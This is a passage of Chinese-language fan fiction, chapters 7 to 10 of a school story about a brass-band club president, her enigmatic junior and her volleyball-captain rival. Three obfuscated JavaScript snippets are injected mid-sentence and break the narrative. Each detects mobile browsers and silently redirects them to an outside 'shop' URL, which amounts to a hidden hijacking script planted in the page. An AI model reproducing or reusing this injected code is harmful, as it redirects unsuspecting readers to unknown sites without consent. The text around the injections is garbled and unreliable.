及川彻:“不许诋毁牛奶面包,它是我的挚爱,长得不够高是我的问题,不是牛奶面包的问题。” 他继续阐述自己的「驯服」路线:“遇到这种刺头,最重要的是以德服人、以理服人。” 琴吹悠 (o_0) 地打量及川彻,把【德】和【理】两个大字往及川彻两边一摆。 也不知道面前的人沾了哪个字。 及川彻急了:“不要用那种质疑的眼光上上下下扫视我!!!” “首先呢,你要树立「学姐」的形象,让她觉得你是值得信赖的。” - 琴吹悠认为,及川彻说的话可信度存疑,但道理蛮对。 当务之急,就是要让新生们觉得她是一个值得信赖的学姐。 她拉开活动室的后门。 绘里音可能从月聆老师那拿了备用钥匙,来得比她这个部长还早。 【信赖值-1-1-1】 琴吹悠强装镇定,轻轻合上门,蹑手蹑脚蠕动到绘里音的身后。 倏地,绘里音站起身,调了调跟前的谱架。 琴吹悠还没搭上她肩膀的手停滞在空中,看着学妹的身高一窜,肩膀已然是自己需要把手臂抬起才能拍到的高度了。 拍拍学妹肩膀,对她微笑问好的计划宣告失败。 【信赖值-1-1-1】 她转身,打算找个角落蹲着,待到整理好自己的思绪,再重振旗鼓,一举树立在学妹心中的优良形象—— 然后一个转身,目光与呆滞的早间与浅川对视。 她听到了自己心中乒呤乓啷的破碎声。 那是还未建起的部长雕像彻底倒塌的声音。 她张了张嘴,以此生最快的速度捂住早间和浅川的嘴,把她们一把带出活动室,顺便关上了门。 绘里音摘下放着音乐的耳机,若有所思地往后门看去。 - “我可以解释的。”琴吹悠弱弱地说道,脑海里疯狂搜刮说辞。 浅川栀子捂住心口:“这好萌。” “琴吹学姐一定是想和绘里学妹打招呼,但是有点社恐,原地徘徊了半天。AWSL。” …… 她忘了,栀子是自己的铁血厨,这种厨子的特性为「不管发生了什么,xx这么做都有她的道理」。 不过,琴吹悠还是一脸别扭地认真纠正:“我不是社恐。” “嗯嗯。”浅川栀子点头的速度快到让琴吹怀疑她到底有没有听进去。 她侧目看向早间。 早间没有那么大的粉丝滤镜,较难应付。 她摆出严肃脸,刚想给早间洗脑,让她忘却看到的一切。 早间却心领神会:“我都懂,学姐。” 琴吹悠:…… 所以你懂什么了,可以跟我说说吗,我怎么不懂? 她重新拾起自己心中那座崩塌的学姐雕像,做好一番心理建设,又一次推开活动室的门。 在她进门的后一秒,早间捧起浅川的双手,缓缓说道:“我悟了。” 浅川:“你也悟了?学姐虽然不擅长社交,但为了我们吹奏部,迈出了一大步,学姐的事业心,还是这样熊熊燃烧!” 早间:“……?” 早间:“不,琴吹学姐只是社恐。她看似做什么都云淡风轻,其实会在心里反复琢磨,这正是反差萌啊!我就吃这一口。” 浅川和早间对视一眼,都不吭声,二人一言不发地也推开活动室的大门。 这世上,最遥远的距离就是,你和你的朋友明明喜欢上了同样的人,但你俩被戳的点完全不同,无法分享。 - 活动室里,绘里音已经组装好小号,对着琴谱开始练习了。 琴吹悠坐到一侧,那是她很熟悉的古典乐曲目,十四岁参加京都大赛时,她就吹了那一首。 不过仅仅两三年,当时比赛时的记忆就已经有点模糊了。 绘里音大概是刚拿到谱子,对着谱子试吹。虽说是她三年前学的曲目,但作为刚拿到谱子的人,能吹得这么流畅已经很不一般。 绘里音放下小号,把谱子翻回前面,开始吹第二遍。 第二遍,比前面听起来流畅许多。如果要她纠错,能拎出一堆指法上的衔接问题、技术方面的差错。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228647|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是…… 在她吹完后,琴吹悠不好意思地询问:“那个,绘里学妹,你谈过恋爱吗?” 绘里音困惑地摇摇头。 “那你是怎么吹出这种,充沛的感情的?”琴吹悠不解。 打个比方,这首曲子写的是追妻火葬场,那绘里音就凭借自己磕磕绊绊还不娴熟的演奏,吹出了在追妻火葬场里烧了一百遍的男主的感受。 “就…”绘里音指了指自己的耳机,“听一遍。” “然后想一遍,再多吹几遍。”绘里音说。 “没了?” “没了。” 绘里音:“难道吹关于爱情的曲子,学姐就要去谈次恋爱吗?” 琴吹悠:…… 她还真这么想过,但是被妈妈严厉地拦住了。 绘里音:“啊,原来学姐真的会这么想。” 琴吹悠无法反驳地闭嘴了。 她敏锐地察觉到了绘里音上扬了三个像素点的嘴角。 刺头。 绘里音绝对是刺头! 她猜测,事实上,及川彻是靠武力值驯服一批新生的。 那么对绘里音这样的新生,她要用小号手祖传的方法驯服——用她的吹奏技巧。 琴吹悠娴熟地组装起小号,清亮婉转的声音十分抓耳,饶是三年前的曲目,对着谱子,她依旧能以与当时比赛相当的熟练度演奏。 整首曲子结束,几乎没有半点差错,就像是把谱子喂给演奏机器,吹出的便是这样的效果。 琴吹悠自得地压下嘴角,摆出学姐的架势,贴心地分享了几处需要重点注意的地方。 全程,她都用余光观察着绘里音的表情波动。 可以说是完全没有波动。 不管是听了琴吹悠近乎完美的演奏,还是耐心的指导,她都只是乖巧地点点头。 全然没有对她吹奏技巧的半分惊艳和认可。 琴吹悠不愿承认自己最初因为绘里音的情感把握惊艳了那么两秒。 绘里音:“谢谢学姐,我会好好练习的。” 琴吹悠不情不愿地摆上了自己的谱子,刚准备开始练习。 绘里音:“学姐还记得京都大赛吗,三年举办一届,你进了决赛。” 老实说,她不是很记得。 莫非绘里音是输给了她,于是在多年之后搬来宫城县,要与她一决高下? 绘里音就像读到琴吹悠的心声:“我那时候才刚学五年,第一轮就被刷下了,没跟学姐对上过。” 绘里音放下手中的小号,把椅子搬得近了些,她黑灰色的眼睛静静地望着她,让琴吹悠想起静谧、少被观测到流动的星河。 “那次的决赛,学姐觉得自己为什么会输,为什么从那次起,三年都没有参加其他大赛?” 琴吹悠茫然。 她问:“绘里学妹,你是从哪个时间线穿越来的吗?” 她打开相册,翻到那次京都大赛决赛优胜的证书。 “在这个时间线里,我还没输过呢。” 要是真的输了,她绝对会把那次失败刻在脑海里。 绘里音的表情依旧没有波动,她接过手机,端详片刻,又递了回去。 “是我记错了,或许认错了人,不是学姐。” 确实有可能。 她们家是音乐世家,她有个比较熟的表姐叫琴吹紬,还有一批琴吹姐妹。 琴吹家族人丁兴旺,且都是标志性的金黄色头发。 她可能与绘里音气场不合。 绘里音疑似是她的噩梦起动机。 在遇到她的第一个晚上,琴吹悠做了一个被绘里音夺走小号首席的梦。 而如今已经确定这个梦不会变成现实。 第二个晚上,琴吹悠又做了噩梦。 8. chapter 8 这是一个光怪陆离的梦。 梦里,她听不见声音,所有的声音恍惚间像是被刻意抹去和抽离,她只能看见梦中人的神情。 她看到了自己。 梦里的自己吹着小号,从早到晚,和现在没什么差别。 奇怪的是爸妈。 她的妈妈是全家族闻名的大咸鱼。 在琴吹家这种全员学乐器的家族氛围下,妈妈愣是对乐器提不起半点兴趣,在外祖母的棍棒教育下,她咬着牙不碰琴:“不喜欢就是不喜欢。” 但对于琴吹悠喜欢小号,妈妈从小便大力支持。 “遇见热爱的东西,一定要牢牢抓住它。” 但梦里的妈妈,是她从未见过的样子。梦中的妈妈一把夺走她吹着的小号,往床上一放,然后紧紧地抱着她。 妈妈在哭。 梦里的自己却只是环抱住妈妈,什么也没说。 ——没有比这更糟糕的噩梦了。 琴吹悠被吓得坐起身,迅速地穿好衣服,跑到厨房,围着妈妈叽叽喳喳地分享着:“妈妈,我做了一个巨可怕的噩梦。” “嗯?请说。”妈妈在煎荷包蛋。 “我梦到你不让我练小号了,还要把我小号丢掉。” 妈妈拿着锅铲,给荷包蛋翻了个面:“天哪,我怎么这么坏,快把吐司机打开,我差点忘了。” 吐司夹荷包蛋,简单又好吃。 妈妈端出装着荷包蛋的盘子,问道:“那我让你不吹小号,你听不听?” 琴吹悠摇摇头:“唯独这件事情,不听。” 她想了想:“我会背着你偷偷练的。” 妈妈假装抹眼泪:“小悠怎么不听话。” 琴吹悠把荷包蛋夹到吐司片之间,递给妈妈:“听的,妈妈忘了吗。” 「遇见热爱的东西,一定要牢牢抓住它。」 妈妈愣住了,片刻,她笑着刮了刮琴吹悠的鼻尖:“尽挑自己爱听的记了,好了,吃完饭快去上学,今天是你值日。” 完蛋,她忘了。 风卷残云般大口吃完吐司,她随手拿起岛台上的牛奶,三两步迈向大门,一路狂奔。 琴吹悠撑着教室门口的门框,放平呼吸,看向正在擦黑板的岩泉一,双手合十:“抱歉,岩泉同学,我来晚了。” 她看了眼脚下光滑的地板:“实在是辛苦你了……” “喂喂喂。”被一下拍在门后的及川彻从玻璃框内探头,他推开门,跳了出来,“这还有个这么大的人呢,看不到吗?” 琴吹悠:“欸,还有别人吗?” 岩泉一:“空气在说话。” 及川彻敲了敲拖把:“你俩也太过分。” 他拿着拖把,目的明显地在琴吹悠面前晃了晃:“是我,在你晚到的时候把地板拖得雪亮的。” 琴吹悠把书包侧面口袋的牛奶拿了出来,抵着及川彻的鼻尖:“给你。” 及川彻接过,闷闷地说:“我又不爱喝纯牛奶。” 巧了,她也不爱喝。 琴吹悠心虚地东张西望。 今天走得太急,大概是把妈妈的那份纯奶拿出门了,她自己最爱喝的还是乱七八糟的调制奶。 “喝呗,喝了还能长高。” 岩泉一冷笑:“我看不行。” 琴吹悠小心翼翼:“好了,小声点,别刺激他。他昨天还说嫉妒高一学弟长太高,所以把他们都揍了一顿。” 岩泉一倒吸一口冷气:“还有这种事?” 及川彻拿着拖把秋风扫落叶般戳来戳去:“去去去,你们俩,谣言就是这么诞生的。” 吵吵闹闹的,他们总算赶在班上主力军抵达前做好了卫生。 岩泉一和琴吹悠隔着一个过道,座位在对角线,及川彻趁琴吹悠前桌还没来,征用了他的座位。 他敲敲岩泉一和琴吹悠的座位,俨然一副要开茶话会的架势。 主持人及川彻:“咱们吹奏部的新部长,琴吹悠女士,请问吹奏部应援队筹备得怎么样了?” 岩泉一:“应援队?” 及川彻:“就是稻荷崎那种。” 琴吹悠拱手:“八字没一撇呢,具体的练习计划和目标都没定,每个声部的首席也没有敲定,是投票选出还是指导老师来选也要商量……” 及川彻制止:“停停停,我的头好晕。” 说实话,她也头大得很。 及川彻:“所以,这就是你昨天晚上也没睡好的原因?黑眼圈依旧很重,你要cos华夏国宝吗?” 岩泉一幽幽指了指自己:“你看得出来我昨天睡得好吗?” 及川彻笃定:“小岩你一看就是精力充沛,昨晚十点就睡了吧。” 岩泉一不吭声。 他昨天看联赛决赛,少有的熬了个通宵,刚好今天有值日,直接来上学了。 及川彻这都看不出来,却看得出琴吹悠眼底淡淡的青灰。 ——这家伙不对劲。 他不止一次这样觉得,但每每提出,都会被及川彻应激般大肆否定。 “并不是,倒不会因为那些睡不好。”琴吹悠托着下巴,“是因为「刺头」” 她盘点:“要是有人表面冷冷的,但是其实逗你完之后要偷笑;好像暗中关注你,连你去过什么比赛都知道;一直在挑衅,说会吹得比你好,这种人是……” 是不是要当我的下一个对头? 及川彻一跃而起:“此人想用小学生的行径引起你的注意力,恐怖如斯!” 岩泉一举手:“冒昧问一下,你不也这么做吗,你也想引起琴吹同学的注意力?” 及川彻不赞成地摇摇头:“小岩,我和琴吹是真情实感的死对头关系啊。” 琴吹悠表示同意。 岩泉一放下手,他决定再也不会对这两位笨蛋的关系发表任何意见。 及川彻谆谆教诲:“你可千万别上当受骗。” 琴吹悠指正:“你也很能脑补,人家是女生,绝对是要超越我,把我当作竞争对手了。要是不做部长,我一定会仰天长啸,说「做梦吧」,可惜现在我是部长。” 她叹气,及川彻也跟着叹气。 就像他也十分赞同琴吹悠「耀武扬威」的计划,并对身为部长的“伟大”牺牲感同身受。 岩泉一满头黑线。 这俩人也算臭味相投,还好都当了队长,约束了他们的部分行为。 琴吹悠:“我还得笑着让她加油!” 及川彻感同身受:“这个,就算现在是队长我也做不到。” 岩泉一拧了拧眉心:“给我做到啊你,不许对高一的学弟们说那些垃圾话!” “遵命……”及川彻恹恹地趴在桌上。 岩泉一对于琴吹悠,无法用岩拳进行正义修正,他只好委婉指出:“有没有可能,她并不是刺头,也不想成为你的死对头,也没有很想引起你的注意。” 琴吹悠不懂。 “比方说,你们两个有什么特殊的渊源,她只是单纯想要靠近你?” 及川彻:“小岩,你的比方好肉麻。” 岩泉一忍无可忍:“你们这种把想要靠近的念头当作肉麻的小学生,才是彻头彻尾的幼稚鬼!” 琴吹悠无辜:“岩泉同学,你干嘛连我也骂。” 琴吹悠放松地靠着椅背:“如果是这种想法就很简单了。” 岩泉一不是很懂她的脑回路。 琴吹悠解释:“因为我只要照常装作好学姐,她们就会依旧喜欢我。反正她们也不知道我本来的性格。” 及川彻问:“什么是你「本来的性格」” 琴吹悠坦荡:“好强,TOP癌,死要面子,嫉妒心重。” 即使琴吹悠这样说,岩泉一也感受不到琴吹悠身上这些品质的份量,他顶多觉得她和及川彻是两个幼稚鬼。 及川彻指了指自己:“我也这样。” 琴吹悠点头:“所以我和你合不来,我俩才是死对头。” 及川彻气了:“你是不喜欢这样的性格?” 琴吹悠:“当然不喜欢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228648|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他冷哼一声:“在这点上,我比你强,因为我没觉得这样有什么不好。” 说完,他起身,走向了自己的座位。 琴吹悠向一旁的岩泉一解读:“他比我强在,他自恋。” 岩泉一哭笑不得。 在他看来,这两人的性格都别扭的很。 琴吹悠觉得真正的自己嫉妒心太强,不符合传统意义上的「好人」,也自然不会得到身边的人的喜欢,于是从小开装,却被身为同类的及川彻装破,发展出了这样死对头的关系。 而及川彻…… 他会不由自主地把目光投向琴吹悠,喜欢和对方斗嘴,但始终不愿意承认自己「被吸引」,偏偏还会因为琴吹悠否定自我而生气。 其实这样看,像隐藏成黑粉的毒唯。 岩泉一不懂,但表示尊重。 - “这是根据大家的投票,以及我们这学期「打进东.北.大.会」的计划,置顶的日程时间表,现在发给大家。如果有意见的话可以举手提出,也可以私聊我。”琴吹悠把打印好的日程表分发下去。 吹奏部的比赛有三个阶段:县内选拔、东北六县赛区的选拔、全国大赛。 而目前她们讨论出来的目标,就是打进东.北.大.会,取得一个还不错的成绩,争金奖冲全国大赛。 可能是宣传海报发挥了作用,打着勇争上流的旗号,新生们大多都有器乐基础,还有月聆老师的指导,想进入东.北.大.会不算痴人说梦。 但也难度颇高。 为此,琴吹悠先是制定了一份一眼高压锅的日程安排,以便给后续减负留下空间。 她环视一周,果不其然,小萝卜丁们面面相觑,脸上发苦。 绘里音举手站了起来:“部长,我有问题。” “关于放学后社团的单独练习时间,如果我可以达标完成每次的任务,可以提前离开吗?” 琴吹悠思索:“可以,但需要让你所在声部的首席确认你的练习是否达标。” 绘里音:“我没问题了,谢谢部长。” 琴吹悠没想到,有人会在这种场合下直接举手询问。 一般而言,即使有问题,大多数人都会选择私聊。 她觉得绘里音身上有着独特的一面,非要找个词语概括,大概是[不读空气]。 她并不是很在意场合、身份、前后辈,有着自己的一套想法。 琴吹悠的事业心又占据了上风,她思量,莫非[不读空气]就是完美诠释曲目情感的秘诀? 她摇摇头。 明明应该是会读空气的人,才更加敏锐点吧。 除非绘里音很会读空气,但根本不在意这些。 绘里音绘里音…… 好神秘的新生。 而且,为什么不参加社团的单独练习,是家里有事,还是喜欢一个人吹小号? 不过她也更喜欢找个角落一个人练习,这也是她在楼栋间开辟自己小天地的原因。 琴吹悠脑补许多,也没有采用直接询问的方法。 询问别人放学后要去做什么,感觉凭她们现在的关系,算是一种冒犯。 她想了想,只有过去的笹原学姐,自己才能毫无顾忌地问她放学后打算做什么。 她晃了晃自己的脑袋,告诉自己无需在意这些。 当好部长,就是对吹奏部的整体进度负责,而且自己是小号首席,也能把控绘里音的练习是否到位。 她收到了妈妈的讯息。 「妈妈大人:小悠,今天突然有事,爸爸也不在家,晚饭自己在外面解决吧~」 「Trumpet:比熊OK jpg.」 她有些吃腻家附近的店,打算去开辟一些从未吃过的新店铺。 [最好吃的豚骨拉面]牌子映入眼帘。 琴吹悠仰头看着菜品表:“那个,我要一份叉烧拉面,微辣。” 她看向服务员,与绘里音四目相对,脑子一热,话比脑子快,她说: “我没有跟踪你!” 9. chapter 9 一向少有表情变化的绘里音终于破了功。 她与琴吹悠对视几秒,侧过脑袋,捂住嘴角。 琴吹悠满头金毛瞬间变成炸炸头。 她听到了“噗呲”一声,绘里音绝对是在笑她。 绘里音整顿一番面部表情,又变回冷冷的模样:“叉烧拉面,微辣?” 琴吹悠:…… 琴吹悠:“…对。” 她拿着自己的取餐号,双目无神地随便找了个座位坐下,要是条件允许,她绝对会把脸埋在双臂之中,发出尖叫。 但条件不允许,她只能望着漆黑的手机屏幕发出无声的尖叫。 有了她那句[我不是在跟踪你],原本是偶遇,结果越抹越黑… 想到这,她的脑袋又冒起了烟。 算是误打误撞,她知晓了绘里音不参加课后训练的原因——为了打工。 琴吹悠拨弄着手机壳。 她在思考半强制的社团练习是否合理。 她家境还算殷实,朋友也不多,思考高中生放学安排的时候,只想到了[写作业][玩耍][吹奏]三个选项,却没有把打工算在里面。 日本社会是一个崇尚「读空气」的社会,即使真的有需求,还是会碍于这种隐性的压力不敢提出。 要不改为自愿留校练习? 那万一自愿留下的人占多数,又造成了压力…… 她顿感头大。 部长这种需要顾及方方面面的工作实在不是人当的! 她自诩不是什么好家伙,尚且要顾及那么多,也不知道笹原学姐是怎样处理好与所有人的关系的。 不知不觉间,她已经半耷拉着脑袋趴在桌上。 ——及川彻那家伙,也能当好部长吗? 她想起独自在楼栋间吹奏时,浩浩荡荡的排球部众人总是会有说有笑地跑过,关系十分亲密。 秉持着绝对不能输给死对头的信念,她又振奋了起来,双手握拳给自己打气。 “叉烧拉面,微辣。” 绘里音轻轻将拉面放在琴吹悠的面前。 琴吹悠僵硬地把手放在背后。 这家伙,早不来晚不来,偏偏在她给自己打气的时候送上拉面。 莫非刚刚自己的举动完全被她看在眼里? 绘里音:“我没有在偷看你!” …… 绝对在模仿她吧! 绘里音那副万年表情不变的面孔,用感叹的语气说话,实在是过于格格不入了。 另外,还有一件事让她很在意。 琴吹悠张了张嘴,刚想发问。 绘里音:“还好吧,没有很好懂,只是我比较擅长观察。” ……她怎么知道自己想问这个。 完全被看穿的琴吹悠心情跌宕起伏地吃完了一碗微辣的叉烧拉面。 她甚至开始怀疑自我。 难道过去在众人面前打造的人设都跟纸糊的一般,实际上所有人都跟绘里音一样一眼看穿她了吗? 她一边思考人生,一边走到门口,刚想推开门,又与在擦桌子的绘里音对视片刻。 绘里音:“别想那么多,我觉得她们没有那么厉害。” 一句话,既夸了自己,又再一次戳破了琴吹悠的心声。 琴吹悠一边说着“再见”,一边头也不回地离开了。 ——一对视就会被看穿的感觉真的太可怕了。 * 回到家,她才反应过来自己的思绪完全被绘里音带偏了。 原本在意绘里音为什么打工,后来陷入自己的尴尬情绪中,将这个问题抛到九霄云外了。 她合理怀疑这都在绘里音的计划之内。 她打开笔记本,攥着笔,心想:像绘里音这样的人,自己就能把所有的事情处理好吧。 笔还是有它自己的想法,固执地在笔记本上留下了「绘里音放学后打工 ?」这样的记号。 比起这个,还有需要处理的事项。 「放学后训练」 私聊了每个各声部首席后,琴吹悠发现,放学后去打工的吹奏部成员并不算少,但主动提出有事的,到现在也只有绘里音一个。 她叹气,决定推翻原有的计划。 又拉了小群讨论之后,她们认为暂时先看训练与选拔情况,之后再做决定。 “好累。”琴吹悠把手机丢到一边,打开小号盒,亮珵珵映着她有点疲惫的面庞。 她把小号盒合上,转头又拿起了手机。 「Trumpet:久美子,请问,怎样平衡部员训练与打工的时间;怎样既不给她们施加压力让她们自己做出选择,又能提高吹奏部的练习水平;还有,如果一个部门成员高深莫测且一看就很有故事,我是不是应该多关注一下她?」 「章鱼脑袋:你是八爪鱼吗,一手抓这个一手抓那个……话说,你有没有觉得当部长就跟玩游戏一样?」 「Trumpet:何出此言?」 「章鱼脑袋:当了部长之后,所有人的头上都顶着个问号,你点一点他们,就自动进入了处理问题的支线,哈哈。」 琴吹悠冥思,还怪形象的,她表示赞同。 「章鱼脑袋:我觉得你要一件事一件事慢慢来,这不才开学吗。对了,那个部员既然看起来高深莫测,就把她拉来一起呗,顺便观察观察。」 「章鱼脑袋:一举两得,我真是天才!」 琴吹悠的脑海里闪过绘里音灰黑色的眼睛。 她观察绘里音吗? 但久美子的建议从各个角度分析都很靠谱,琴吹悠咬咬牙,云淡风轻: 「Trumpet:没问题。」 * 绘里音:“我当你的幕后军师?” 琴吹悠:“对。” 绘里音抱着小号:“我们吹奏部什么时候设了这个职位,部长大人。” 琴吹悠:“…刚设的。” 她威逼利诱:“当军师,有超多好处的。” 绘里音静静等待琴吹悠给出[好处] “比方说。”她想到浅川和早间的日常对话,“我们可以去吃下午茶,本部长请客。” 绘里音:“我吃得少。” 琴吹悠绞尽脑汁:“我可以指导你吹小号!” 她回忆前几分钟绘里音吹奏的片段,拿起小号:“第三小节,可以换种方式处理。” 她展现了标准的强弱变化。 “还有这里的大跳,我有非常非常高效的练习技巧,怎么样?” 绘里音看着微仰脑袋的琴吹悠。 对方仿佛觉得,「小号技巧」是最具诱惑的好处,没有人能够拒绝。 但世界上像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228649|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴吹悠这样只在乎一件事情的人实在太少了。 她不知道上任部长是抱着怎样的想法,派这样一名小号手来管理吹奏部。 难道不怕把吹奏部弄成“高压锅”,所有人都炸了吗? 她原本以为琴吹悠这几年没有参加比赛,是因为遭受了挫折一蹶不振,但目前看来,对方似乎和过去也没什么区别。 为什么呢? 当一个人只有一个支点,又是怎样迅速重振旗鼓的呢? 她想不明白。 良久,绘里音回答:“行。” 琴吹悠洋洋得意。 果然,没有人能逃脱小号的诱惑,就算是绘里音也不行。 绘里音刚上任,就开始给部长献策:“我觉得你在烦恼怎样平衡部员的课余时间。” 琴吹悠不情愿地点点头。 “如果这一届吹奏部想要出成绩,我建议把选拔的时间提前,可以分为两个阶段。 第一个阶段初步选拔参赛的成员,督促她们练习。 第二阶段就是踢馆赛,在第一阶段被选上的成员可以被任何后备成员挑战,这样被选上的成员也能保持练习积极性,没被选上却想参赛的也有接着练习的动力。 至于具体怎么安排,我还没想好,等想好了告诉你……部长,你那是什么表情?” 琴吹悠瞳孔微震,目瞪口呆,她问:“这些东西,是天生就装在你脑袋里的吗?” 绘里音第一次面对这种询问,她一噎,回答:“不算吧。” 琴吹悠兴奋:“所以我能养成?” 绘里音不愿打击:“看机缘巧合了。” 琴吹悠清了清嗓:“你的计划,很不错,我觉得完全可以采纳。” 绘里音:“部长,你是不是没有夸过人,好僵硬。” 琴吹悠幽幽地凝视着她:“你怎么变成吐槽役了。” ……她还真没有怎样直白地夸过人。 不过在她看来,绘里音真的颇有神通。 她自己从小只知道如何让自己卷起来——纯靠自律。 却不知世上存在这种卷卷不息的方法,令人叹为观止。 绘里音:“不要学。” 好在琴吹悠只是个搞艺术的,没有任何加入家族企业的想法,否则她都不敢想象琴吹集团的员工会处于怎样的水深火热之中。 琴吹悠:“总算解决一桩心事,我们赶紧开始练习吧。” 她爱抚着自己的琴谱:“昨天,我想着心事——” 绘里音:“想得都练不下琴了?” 琴吹悠:“——想得都少练了半个小时。” 刚接受久美子的建议,她就从床上一跃而起,抱着自己心爱的小号练了起来。 绘里音满头黑线。 她由衷:“我总在小号上面频频猜不准部长你的想法。” 搞不懂你们这种极端热爱党。 琴吹悠翻了翻谱子,拿起小号,又停了下来:“因为你刚刚献上良策,我也告诉你一个秘密。” “只要一直练习,小号就会跟你对话。” 绘里音捧着自己的小号:“那你能问问你的小号君,为什么我的小号君还不会说话吗?” 琴吹悠有模有样地吹了首入门欢乐颂,一曲吹完,她提高音调,用小号的方式作答:“我家小号说——你还得练!” 10. chapter 10 - “打发器。”琴吹悠一面垂着脑袋打量食谱,一面伸手。 打发器掠过她的手,落在碗里。 “还得敲两个蛋。” 鸡蛋应声落入碗中。 “及川彻。”琴吹悠困惑。 “嗯?”及川彻装作不经意地抬起头。 琴吹悠真诚:“你鼻子很痒吗?” 她声情并茂地情景再现:“怎么我讲一句话,你就「哼」一下,需要去医务室吗?” “哈哈哈哈哈哈哈哈哈哈哈!!!”岩泉一捧腹大笑。 “小岩!”及川彻满脸通红地呵斥了岩泉一的仰天长啸,随后他一边拿走打发器,大力打发,一边念念有词,“你知道吗,我们还在吵架,还没和好,你就叫我做这做那……” 及川彻突然意识到了什么,他把打发器连同碗一道搁在桌上,微微弯腰,凑近盯着琴吹悠的眼睛:“你不会都不知道我们吵架了吧!” 琴吹悠“哈哈”两声,退后半步,眼神飘忽。 “我其实知道的,只是这两天真的很忙,忙忘了……” 及川彻:) “你知道这种说法比前面那个更糟糕吗。” 琴吹悠把记忆倒带到数天前。 她用自己跟随绘里音培养的分析能力高速运转大脑。 她悟了。 琴吹悠搬来面粉:“你是因为我不喜欢你生气吗?” 及川彻:“哈?!” 他震惊,用手肘撞了撞一脸吃瓜状的岩泉一:“不要随便省略句子,是不喜欢我们这种性格。” 琴吹悠:“不是一个意思吗?” 及川彻:“不是不是不是。” 琴吹悠叹气:“好吧。” 她解释:“我觉得我俩还是不一样的,比方说,你比我自恋,这点是很好的。” 及川彻面无表情:“我懂你在夸我,下次可以不用夸。” 她说:“我最近也自恋了一丢丢,因为绘里音说自恋是学好小号的必要条件。” “所以你还生气不?” 她绕及川彻旋转一周,仔细观察。 及川彻原本左顾右盼,躲避与她的对视,却每每被琴吹悠逮捕。 他压下上扬的嘴角,用淡淡的声音回答:“…我有啥好生气的。” 琴吹悠点头,把面粉往他怀里一塞:“不生气就快点干活吧,小岩一个人都要把活都干完了。” 及川彻:…… 趁着琴吹悠向烹饪课老师询问调料比例,岩泉一飘到及川彻身侧:“你不对劲。” 及川彻哇啦乱叫:“你懂什么,小岩,既然她说我们两个很像,我怎么允许有人讨厌我这种性格的人,小岩,你也很为我着迷吧?” 岩泉一:“我要吐了。” 及川彻捧心:“我好伤心。” 岩泉一:“你怎么打岔我都知道你不对劲,别装了。” 及川彻拍拍他的肩膀:“我有我的节奏。” 岩泉一早已习惯及川彻偷偷把面粉往自己肩上擦的举动,他面不改色地擦了回去。 及川彻再三强调:“我们两个目前真的是特别纯粹的对着干的关系。” 哦。 或许琴吹悠很纯粹,但是某人就不知道了。 全班之所以默认他俩在烹饪课、体育课组队,都是某人假借吵架和比赛的名义一手促成的结果。 好不容易将蛋清打发成满意的形态,及川彻:“你有没有觉得,琴吹悠当了部长之后,状态特别紧绷。” 岩泉一捧读:“哇,这你都感受到了。” 及川彻:“她前两天问了我好几次,怎么和部员处好关系。” 岩泉一:“你回她了?” 及川彻强调:“我冷冷地回她了。” 岩泉一拿过及川彻的手机,对着他的脸一照,打开了锁屏。 他看着大段的回复,不禁询问:“冷在哪里?” 及川彻指出:“注意看,我没有用任何啊、哦、呢、嗯。” 岩泉一配合倒吸一口冷气:“好冷漠。” 难怪人家不觉得你俩吵架了。 岩泉一思索:“这是正常的吧?你刚当队长那次,光是招新的台词,就拉着我对了不下五十遍,改了又改,非要臭屁地说这样酷不酷,有没有魅力。” “有什么用呢,现在新队员不都知道你是啥德性……” 及川彻反问:“你就说那次装没装到。” 岩泉一扶额:“我的重点是,当部长都会紧张。” 及川彻坚持:“我还是觉得不一样,凭借多年的死对头经验。” 岩泉一:“那你打算怎么办?” 及川彻眼睛一亮,打了个响指:“有了。” 他提出自己的锦囊妙计:“这样,让琴吹悠来我们排球部观摩一下,如何?” 这是什么脑回路,岩泉一不解。 及川彻摇了摇头:“小岩,你怎么想不到呢?” “展示一下我们排球部相亲相爱的氛围,自然就会让她不焦虑部门关系了啊!” 岩泉一思索。 展示排球部[相擒相碍]的氛围吗? 他的脑海里闪过一堆及川彻被众人制裁的画面。 他第一次能理解多年好友的良苦用心。 竟然是打算表达[就算是我这样的部长也能拥有良好的社团关系,你还在焦虑什么]吗? 他认真评判一番,惊讶:“想不到你居然能想出这么靠谱的主意。” 及川彻栗色的短发得意地翘了起来:“都说了,我有我的节奏。” 琴吹悠拿着刚记下的注意事项走了回来,她念念有词:“烤箱要先110℃预热十五分钟,然后放进去烤半小时,接着130℃预热……” “山田老师叫我们别闲着,预热烤箱的时候还要做完小饼干。” 她怀里还抱着一堆饼干模具。 及川彻、岩泉一:“收到。” 